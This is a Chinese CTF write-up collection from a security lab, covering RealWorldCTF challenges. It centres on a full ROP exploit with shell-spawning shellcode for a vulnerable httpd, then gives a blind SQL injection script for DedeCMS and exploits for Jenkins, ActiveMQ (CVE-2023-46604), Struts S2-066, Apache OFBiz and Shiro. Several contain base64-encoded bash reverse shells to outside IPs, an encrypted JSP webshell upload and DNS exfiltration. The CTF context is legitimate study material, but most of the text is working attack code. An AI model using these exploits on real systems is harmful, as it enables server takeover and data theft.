Be-an-HTTPd-Hacker
题目下载:https://reurl.cc/97DpLY
题目提供了一个i386 httpd服务,给了完整docker,build之后使用launcher.py
启动题目,ida打开之后,通过搜索字符串信息找到两个差不多的项目:
https://github.com/bnlf/httpd/tree/master
https://github.com/rafaelperazzo/webserver_c
看了下代码基本上是一样的,都是上古项目,然后checksec看到题目没开启canary,而上面程序makefile里没有关闭canary(项目是11年前的,而Stack Guard机制是1998年提出的),所以盲猜一个栈溢出。
那么有了源码就很容易了,本文会先讲一下我利用的漏洞点,然后会写我是如何调试的,最后给出我的利用。
漏洞
程序代码不是很长,提供了如下功能
-
1. GET:获取路径下的文件并返回,这里直接把获取的路径拼接到了www上,存在一个路径穿越:
// Dir base dos arquivos do servidor
strcpy(fileBuffer, WWW_ROOT);
// Arquivo do request
if(req.uri) {
strcat(fileBuffer, req.uri);
}
但是在题目dockerfile里我们可以看到给了flag的root只读权限,所以无法利用这个路径穿越直接去读flag
-
1. POST:post功能可以输入参数,程序加上http的相关HTML标签后返回一个表格:
int sendPostMessage(request req, response res, int connfd, char *linePost){
char buffer[MAXLINE];
//Prepara cabecalho HTML
sprintf(buffer, "<html><head><title>Submitted Form</title></head>");
//Cria body
strcat(buffer, "<body><h1>Received variables</h1><br><table>");
strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");
char * pch;
char temp[250];
pch = strtok (linePost,"&=");
while (pch != NULL)
{
sprintf(temp, "<tr><td>%s</td>", pch);
strcat(buffer, temp);
pch = strtok (NULL, "&=");
sprintf(temp, "<td>%s</td></tr>", pch);
strcat(buffer, temp);
pch = strtok (NULL, "&=");
}
//Fecha body e html
strcat(buffer, "</table></body></html>");
sendHeader(connfd, req, res, "OK", "text/html");
write(connfd, buffer, strlen(buffer));
return 0;
}
这里的代码存在一个栈溢出,MAXLINE=4096
,但是使用strtok
获取的我们输入的post参数可以只有1个字节(如a=
这种形式),在使用sprintf(temp, "<tr><td>%s</td>", pch)
后,一个字节拓展成了14字节,我们就可以通过大量的a=a=a=a=
来溢出buffer做ROP。
我在比赛期间遇到个坑点是,程序一直崩溃在sendHeader
的gmtime
里:
int sendHeader(int connfd, request req, response res, char *msgStatus, char *mimeType){
...
//Configura data e hora
time_t now;
char bufHour[128];
now = time(NULL);
strftime(bufHour, sizeof(bufHour), "%a, %d %b %Y %H:%M:%S GMT" , gmtime(&now));
//Envia a data e hora
sprintf(bufferHeader, "Date: %srn", bufHour);
write(connfd, bufferHeader, strlen(bufferHeader));
...
}
通过GDB可以看到是在malloc期间发生的崩溃:
char *getLastLineRead(char *buffer) {
int numLines = 0;
int start = 0;
int end = 0;
int bufSize = strlen(buffer);
int i = 0;
int j = 0;
for (i=0;i<bufSize;i++) {
if (buffer[i]=='n') {
numLines++;
}
}
int *vetPositionLine = (int*) malloc(numLines);
for (i=0;i<bufSize;i++) {
if (buffer[i]=='n') {
vetPositionLine[j] = i;
j++;
}
}
start = vetPositionLine[numLines-3];
end = vetPositionLine[numLines-1];
char *line = (char*) malloc(end-start);
strncpy(line,buffer+end,bufSize-end);
return line;
}
可以看到这里的代码是通过获取报文中的换行字符的位置来计算POST报文参数长度,使用malloc
分配了一段内存并复制数据上去,可以看到分配的长度是倒数第一个换行的位置减去倒数第三个换行的位置,但是复制的数据是从倒数第一个换行开始后面的数据,我们再看一下程序开头接收数据的代码:
n=read(connfd, buffer, MAXLINE);
int i = strlen(buffer);
char options[MAXLINE];
int statusRead = 0;
strcpy(options, buffer);
while(statusRead == 0)
{
if((options[i-3] == 'n' && options[i-1] == 'n') || options[i-1] != 'n')
{
statusRead = 1;
}
else
{
n=read(connfd, options, MAXLINE);
//strcat(buffer, options);
//printf("%sn", buffer);
i = strlen(options);
if(options[0] == 'r' && options[1] == 'n' && n == 2)
statusRead = 1;
}
}
在读取到客户端发来的HTTP报文后,这段代码直接收结尾是nAn
或者结尾非n
或者rn
结束的HTTP报文。
这样一来,如果我们按照正常POST报文POST / HTTP/1.1rnrna=b
来提交,malloc(end-start)
的start
就是未初始化的变量,这部分因为堆块的重复使用,大概率里面存储的不是0,这就导致接下来的malloc
分配的长度不够长,甚至是负数:
造成了堆溢出,在接下来的gmtime
中因为top chunk被破坏导致崩溃。
那么解决方法也很简单,在最后一个换行之前填充足够多的字符就可以,后面拼接我们的payload。
调试
这里我选择直接使用题目的docker进行调试,保证跟目标环境一致,首先修改dockerfile添加暴露23333端口,作为gdbserver的监听端口,然后复制gdbserver到目标。由于程序是用fork
的方法启动子进程来处理连接,所以在我们exp中,连接到目标后,在发送payload之前pause,然后再在container里attach上去,在外面remote连接就可以调试了,这里给出我用的几个脚本:
gdb_scirpt.txt里写远程连接和打断点的命令,因为程序启动后基地址不变,所以第一次启动后设置一下基地址就可以打断点了:
set $base = 0x56567000
b *($base + 0x1b16)
# b *($base + 0x1403)
# b *($base + 0x180d)
# b *($base + 0x1ea3)
# b *($base + 0x1f0d)
# b *($base + 0x1451)
# b *($base + 0x1ff7)
# b *($base + 0x15bb)
# b *($base + 0x1aec)
# b *($base + 0x2043)
# b *($base + 0x2054)
gef-remote 127.0.0.1 23333
c
使用gdb httpd -x gdb_script.txt
启动。
然后是在container里获取最新的一个连接的pid并attach:
ps -aux | grep "2808 80" | awk '{print $2}' | head -n 1 | xargs ./gdbserver :23333 --attach
最后是用来测试的脚本:
from pwn import *
# 服务器地址和端口
host = '127.0.0.1'
port = 33333
s = remote(host, port)
g = cyclic_gen()
payload = b'POST / Arnrna=b'
pause()
s.send(payload)
s.interactive()
最终效果如下图,tabby和wsl+docker也是我非常推荐的一个pwn环境,不用开一大堆占内存的虚拟机:
利用
首先进行泄露,这里我通过控制malloc
的长度,进而控制sprintf(temp, "<tr><td>%s</td>", pch);
的目标地址为栈上的某个位置,通过手动调整长度的方式泄漏:
s = remote(host, port)
payload = b'POST ' + b'A' * 3982 + b'n'
s.send(payload)
s.recvuntil("Values</th></tr><tr><td>n")
stack = u32(s.recv(4))
ld_addr = u32(s.recv(4)) - 0x37c0c
libc_base = u32(s.recv(4)) - 0x2377b0
success(f"libc_addr: {hex(libc_base)}")
success(f"ld_addr: {hex(ld_addr)}")
success(f"stack: {hex(stack)}")
s.close()
然后控制好换行位置,消除堆溢出的问题,再通过大量的C=
溢出到返回地址,这里有个问题是在溢出之后会覆盖到下面的变量,导致接下来的sendHeader
函数里的sprintf
需要被解析的地址被覆盖:
int sendHeader(int connfd, request req, response res, char *msgStatus, char *mimeType){
char bufferHeader[100];
//Envia a primeira linha, com o Protocolo, o Status e a Msg do Status
sprintf(bufferHeader, "%s %d %srn", res.vProtocol, res.status,msgStatus);
write(connfd, bufferHeader, strlen(bufferHeader));
那么解决方法也很简单,首先用cyclic_gen
找到解析的地址,然后随便写一个可读地址上去就可以。
s = remote(host, port)
g = cyclic_gen()
payload = b'POST / An'
payload += b'F' * 1000
payload += b'n'
payload += b'C=' * 273
payload += b'AAA'
payload += p32(libc_base + 0x22a1d0)
payload += p32(libc_base + 0x22a1d0)
payload += p32(libc_base + 0x22a1d0)
payload += p32(libc_base + 0x22a1d0)
payload += g.get(8)
payload += p32(libc_base + 0x22a1d0)
payload += g.get(12)
# rop start
最后就可以做一个ROP了:
我选择mprotect(stack address, 0x1000, 7)
来写shellcode(用system和execve有些奇怪的问题导致命令没执行成功或者执行了但是没什么效果,这里最简单的其实是执行/readflag>/tmp/flag
之后,利用前面那个目录穿越去读flag)
由于目标程序无法接收x00x0ax0d
,所以需要对ROP进行一点处理,主要就是通过addxorsub
等操作寄存器,最后call esp
,在 exploit-db(https://www.exploit-db.com/shellcodes/47530)上找了一个端口复用的shellcode(远古大佬wangyihang的作品):
# rop start
payload += p32(libc_base + 0x00037374) # pop ecx; pop edx; ret;
payload += p32(0x1000 ^ 0x61616163)
payload += p32(0x07 ^ 0xffffffff)
payload += p32(libc_base + 0x0002ed92) # pop eax; ret;
payload += p32((stack - 0x3118 + 1) ^ 0x5b08c483)
payload += p32(libc_base + 0x0007ec5a) # xor eax, 0x5b08c483; ret;
payload += p32(libc_base + 0x0005847c) # xor ecx, edi; call dword ptr [eax - 1];
payload += p32(libc_base + 0x000f7df8) # xor edx, 0xffffffff; mov dword ptr [esi + 0x14], 0; add esp, 0x14; pop ebx; pop esi; ret; )
payload += p32(0xdeadbeef)
payload += p32(0xdeadbeef)
payload += p32(0xdeadbeef)
payload += p32(0xdeadbeef)
payload += p32(libc_base + 0x22a1d0)
payload += p32(libc_base + 0x0002c01f) # pop ebx; ret
payload += p32(0x9e531e9b) # addr
payload += p32(libc_base + 0x000ec03a) # add ebx, ebp; ret;
payload += p32(libc_base + 0x0002ed92) # pop eax; ret;
payload += p32(0x7d ^ 0x5b08c483)
payload += p32(libc_base + 0x0007ec5a) # xor eax, 0x5b08c483; ret;
payload += p32(ld_addr + 0x0001c880) # int 0x80; ret;
payload += p32(libc_base + 0x00074906) # call esp;
payload += b"x31xdbxb3x04x31xc9xb1x03xfexc9x31xc0xb0x3fxcdx80x80xf9xffx75xf3x31xc9x6ax0bx58x99x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
由于我们前面用来泄露的连接大概率还没断开,所以shellcode里复用的fd需要修改为4
; 00000000 <_start>:
; 0: 31 db xor %ebx,%ebx
; 2: b3 04 mov $0x4,%bl <- modify
; 4: 31 c9 xor %ecx,%ecx
; 6: b1 03 mov $0x3,%cl
然后就可以愉快地直接/bin//sh
了:
最终exp:
from pwn import *
host = '127.0.0.1'
port = 33333
# host = '121.40.246.203'
# port = 39988
# context.log_level = 'debug'
# leak
s = remote(host, port)
payload = b'POST ' + b'A' * 3982 + b'n'
s.send(payload)
s.recvuntil(b"Values</th></tr><tr><td>n")
stack = u32(s.recv(4))
ld_addr = u32(s.recv(4)) - 0x37c0c
libc_base = u32(s.recv(4)) - 0x2377b0
success(f"libc_addr: {hex(libc_base)}")
success(f"ld_addr: {hex(ld_addr)}")
success(f"stack: {hex(stack)}")
s.close()
binsh = libc_base + 0x1bd0d5
system = libc_base + 0x48170
execve = libc_base + 0xde870
mprotect = libc_base + 0x11c520
shellcode_addr = libc_base + 0x22a250
s = remote(host, port)
g = cyclic_gen()
payload = b'POST / An'
payload += b'F' * 1000
payload += b'n'
payload += b'C=' * 273
payload += b'AAA'
payload += p32(libc_base + 0x22a1d0)
payload += p32(libc_base + 0x22a1d0)
payload += p32(libc_base + 0x22a1d0)
payload += p32(libc_base + 0x22a1d0)
payload += g.get(8)
payload += p32(libc_base + 0x22a1d0)
payload += g.get(12)
# rop start
payload += p32(libc_base + 0x00037374) # pop ecx; pop edx; ret;
payload += p32(0x1000 ^ 0x61616163)
payload += p32(0x07 ^ 0xffffffff)
payload += p32(libc_base + 0x0002ed92) # pop eax; ret;
payload += p32((stack - 0x3118 + 1) ^ 0x5b08c483)
payload += p32(libc_base + 0x0007ec5a) # xor eax, 0x5b08c483; ret;
payload += p32(libc_base + 0x0005847c) # xor ecx, edi; call dword ptr [eax - 1];
payload += p32(libc_base + 0x000f7df8) # xor edx, 0xffffffff; mov dword ptr [esi + 0x14], 0; add esp, 0x14; pop ebx; pop esi; ret; )
payload += p32(0xdeadbeef)
payload += p32(0xdeadbeef)
payload += p32(0xdeadbeef)
payload += p32(0xdeadbeef)
payload += p32(libc_base + 0x22a1d0)
payload += p32(libc_base + 0x0002c01f) # pop ebx; ret
payload += p32(stack - 0x3340 - 0x61616165) # addr
payload += p32(libc_base + 0x000ec03a) # add ebx, ebp; ret;
payload += p32(libc_base + 0x0002ed92) # pop eax; ret;
payload += p32(0x7d ^ 0x5b08c483)
payload += p32(libc_base + 0x0007ec5a) # xor eax, 0x5b08c483; ret;
payload += p32(ld_addr + 0x0001c880) # int 0x80; ret;
payload += p32(libc_base + 0x00074906) # call esp;
payload += b"x31xdbxb3x04x31xc9xb1x03xfexc9x31xc0xb0x3fxcdx80x80xf9xffx75xf3x31xc9x6ax0bx58x99x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
# pause()
s.send(payload)
s.interactive()
s.close()
YourSqlTrick
Dede V5.7.111有一个前台注入,在/tag.php
if(isset($_SERVER['QUERY_STRING']))
{
$tag = trim($_SERVER['QUERY_STRING']);
$tags = explode('/', $tag);
if(isset($tags[1])) {
if($tags[1] === 'alias') {
if(isset($tags[2])) $tag = $tags[2];
if(isset($tags[3])) $PageNo = intval($tags[3]);
global $dsql;
$tag_alias = urldecode($tag);
$row = $dsql->GetOne("Select * From `#@__tagindex` where tag_alias = '{$tag_alias}'");
$tag = $row['tag'];
} else {
if(isset($tags[1])) $tag = $tags[1];
if(isset($tags[2])) $PageNo = intval($tags[2]);
}
}
}
这里的tag_alias
参数未经过过滤,直接由$_SERVER['QUERY_STRING']
传入。需要绕过内置的SQL过滤。使用笛卡尔积,不过有点坑,group_concat(table_name)
获取所有表名获取600多个字段都没找出flag表,最后还是猜出来的flag
表,然后直接尝试select * from flag
跑出来的
import requests
import time
import random
import string
# if((ascii(mid((select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA=database()), 1, 1))>0),(SELECT count(*) FROM information_schema.plugins ,information_schema.plugins A,information_schema.collations ,information_schema.collations B),1)
url = "http://121.40.226.16:30080/tags.php?tag=a/alias/about%27and{`%27`%20id}%3E0.1+or+if((ascii(mid((select+group_concat(table_name)+from+information_schema.tables+where+TABLE_SCHEMA%3ddatabase()),+1,+1))>0),(SELECT+count(*)+FROM+information_schema.plugins+A,information_schema.collations+,information_schema.collations+B),1)--%20\"
start = time.time()
r = requests.get(url)
end = time.time()
print(end-start)
flag = ""
for l in range(1, 1500):
min = 32
max = 127
mid = (min + max) // 2
for num in range(32, 127):
while min < max:
# payload = f"(SELECT/*1*/1/*1*/FROM/*1*/(SELECT/*1*/if(ascii(mid(database(),{l},1))>{mid},sleep(1),1))a)"
# payload = f"(SELECT if (ascii(mid((select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA=database()), {l}, 1))>{mid},sleep(1), 1))"
# payload = f"(SELECT if (ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='fllllaaaag'), {l}, 1))>{mid},sleep(1), 1))"
# payload = f"(SELECT if (ascii(mid((select group_concat(flag) from fllllaaaag), {l}, 1))>{mid},sleep(1), 1))"
# url = "http://121.40.226.16:30080/tags.php?tag=a/alias/about%27and{`%27`%20id}%3E0.1+or+if((ascii(mid((select+group_concat(table_name)+from+information_schema.tables+where+TABLE_SCHEMA%3ddatabase()),{l},1))>{mid}),(SELECT+count(*)+FROM+information_schema.plugins+A,information_schema.collations+,information_schema.collations+B),1)--%20\\".replace('{l}',str(l)).replace('{mid}',str(mid))
# url = "http://121.40.226.16:30080/tags.php?tag=a/alias/about%27and{`%27`%20id}%3E0.1+or+if((ascii(mid((select group_concat(table_name) from information_schema.tables),{l},1))>{mid}),(SELECT+count(*)+FROM+information_schema.plugins+A,information_schema.collations+,information_schema.collations+B),1)--%20\\".replace('{l}',str(l)).replace('{mid}',str(mid))
# url = "http://121.40.226.16:30080/tags.php?tag=a/alias/about%27and{`%27`%20id}%3E0.1+or+if((ascii(mid((select group_concat(table_name) from information_schema.tables where TABLE_SCHEMA=database() and table_name like 0x666c6167),{l},1))>{mid}),(SELECT+count(*)+FROM+information_schema.plugins+A,information_schema.collations+,information_schema.collations+B),1)--%20\\".replace('{l}',str(l)).replace('{mid}',str(mid))
url = "http://121.40.226.16:30080/tags.php?tag=a/alias/about%27and{`%27`%20id}%3E0.1+or+if((ascii(mid((select * from flag),{l},1))>{mid}),(SELECT+count(*)+FROM+information_schema.plugins+A,information_schema.collations+,information_schema.collations+B),1)--%20\\".replace('{l}',str(l)).replace('{mid}',str(mid))
start = time.time()
resp = requests.post(url)
end = time.time()
if end - start > 0.1:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
flag += chr(mid)
tmp = flag
print(flag)
Be-a-Security-Researcher
Jenkins最新的cve,用Jenkins-cli.jar直接读文件,只能读一行
payload:java -jar jenkins-cli.jar -s url who-am-i @/flag
Be-an-ActiveMq-Hacker
CVE-2023-46604
脚本
import io
import socket
import sys
def main(ip, port, xml):
classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_obj.connect((ip, port))
with socket_obj:
out = socket_obj.makefile('wb')
# out = io.BytesIO() # 创建一个内存中的二进制流
out.write(int(32).to_bytes(4, 'big'))
out.write(bytes([31]))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(classname).to_bytes(2, 'big'))
out.write(classname.encode('utf-8'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(xml).to_bytes(2, 'big'))
out.write(xml.encode('utf-8'))
# print(list(out.getvalue()))
out.flush()
out.close()
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
"http://192.168.0.101:8888/poc.xml")
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
poc
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTA2LjExNC8zMzc5IDA+JjE==}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>
反弹个shell就行了
Be-More-Elegant
S2-066,但是要传到views目录下才行,传上去之后,执行readflag就可以了
POST /upload.action HTTP/1.1
Host: 47.99.57.31:8080
Content-Length: 815
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.99.57.31:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHLYV7AkIaj17S7aa
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://47.99.57.31:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,vi;q=0.7
Cookie: JSESSIONID=69B7679A31F420D2F748C066CDF70D04
Connection: close
------WebKitFormBoundary3ZyI4HfPn9dOq0ET
Content-Disposition: form-data; name="FileUpload"; filename="0101.txt"
Content-Type: text/plain
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
------WebKitFormBoundary3ZyI4HfPn9dOq0ET
Content-Disposition: form-data; name="fileUploadFileName";
../../../../views/0101.jsp
------WebKitFormBoundary3ZyI4HfPn9dOq0ET--
Be-a-Framework-Hacker
发送poc的时候会提示host的ip不在白名单 这边直接拿yakit 设置一下就好了
拿CVE-2023-49070测试后提示没有这个文件 于是换成CVE-2023-51467
接收到之后 直接反弹shell即可
groovyProgram=import groovy.lang.GroovyShell
GroovyShell shell = new GroovyShell();
shell.evaluate('"bash%20-c%20{echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjUyLjE5MC8zMzc5IDA+JjE=}|{base64,-d}|{bash,-i}".execute()')
Old-Shiro
反编译可知密钥,kPH+bIxk5D2deZiIxcaaaA==,拿网上的加密脚本来加密序列化数据
使用的链子如下
public static void main(String[] args) throws Exception {
byte[] bs = Files.readAllBytes((Paths.get("/Users/a1kaid/Documents/Hello-Java-Sec/src/main/java/com/best/hello/controller/ComponentsVul/ldapevil/target/classes/evil.class")));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {bs});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, templates);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./evil.bin"));
outputStream.writeObject(expMap);
outputStream.close();
放到shortpayload运行生成payload 执行命令让flag文件外带到dnslog
dns回显:cndjdGZ7U2gwclQzcl9CeXQzYzBkM19tNEszX0wxZjNfRTRzMTNyfQ0K.jtro7b.dnslog.cn
vision
固件提供了date命令,可以直接拿来读文件,参考:https://gtfobins.github.io/gtfobins/date/
Be-an-Interpreter-Hacker
用这个生成poc:
https://github.com/AlmondOffSec/PoCs/tree/master/Ghostscript_rce
改下里面的命令为/bin/sh
就可以打了,这里可以直接本地拉起docker,然后复制exp进去,再在container里装个python,直接生成exp。
原文始发于微信公众号(BeFun安全实验室):RealWorldCTF体验赛 Be-an-HTTPd-Hacker(附带其他部分题目WP)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论